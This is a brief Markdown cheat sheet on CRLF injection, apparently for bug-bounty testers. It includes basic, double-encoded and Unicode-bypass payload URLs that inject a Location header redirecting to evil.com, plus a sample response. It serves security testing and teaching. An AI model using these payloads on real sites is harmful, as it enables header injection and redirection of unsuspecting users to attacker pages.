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35 lines
1019 B
Markdown
35 lines
1019 B
Markdown
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# CRLF Injection
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## Introduction
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A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
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## Where to find
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It can be found anywhere, always check the request and response. Try to search for parameters that lead to redirects, you can see the response is (301, 302, 303, 307, 308).
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## How to exploit
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1. Basic payload
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```
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https://example.com/?lang=en%0D%0ALocation:%20https://evil.com/
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```
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The response is
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```
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HTTP/1.1 200 OK
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Content-Type: text/html
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Date: Mon, 09 May 2016 14:47:29 GMT
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Set-Cookie: language=en
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Location: https://evil.com/
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```
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2. Double encode
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```
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https://example.com/?lang=en%250D%250ALocation:%20https://evil.com/
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```
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3. Bypass unicode
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```
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https://example.com/?lang=en%E5%98%8A%E5%98%8DLocation:%20https://evil.com/
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```
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## References
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* [@filedescriptor](https://blog.innerht.ml/twitter-crlf-injection/)
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* [EdOverflow](https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md)
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